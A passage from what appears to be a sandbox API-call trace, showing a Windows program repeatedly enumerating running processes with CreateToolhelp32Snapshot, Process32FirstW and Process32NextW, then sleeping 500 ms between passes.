cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.682] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.683] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.684] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.685] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.686] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.686] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.687] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.688] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0222.689] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.690] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.691] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.691] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.692] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.693] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.694] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.695] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.696] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.697] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.698] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.698] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0222.699] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.700] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.701] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0222.702] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0222.703] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0222.704] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0222.705] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0222.706] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0222.707] CloseHandle (hObject=0x1d4) returned 1 [0222.707] Sleep (dwMilliseconds=0x1f4) [0223.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0223.323] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.324] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.325] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.326] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.327] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.328] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.329] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.330] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.331] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.331] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0223.332] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.333] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.334] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.335] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.335] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.336] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.337] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.338] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.338] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.339] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.340] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0223.341] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0223.342] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.343] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.343] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0223.345] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0223.345] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0223.346] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0223.347] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0223.348] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0223.349] CloseHandle (hObject=0x1d4) returned 1 [0223.349] Sleep (dwMilliseconds=0x1f4) [0224.069] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0224.075] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.076] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.077] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.079] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.080] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.082] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.084] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.085] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.086] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.087] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0224.089] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.090] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.091] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.092] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.094] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.095] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.096] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.097] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.100] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.101] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.102] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0224.103] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0224.105] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.106] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, 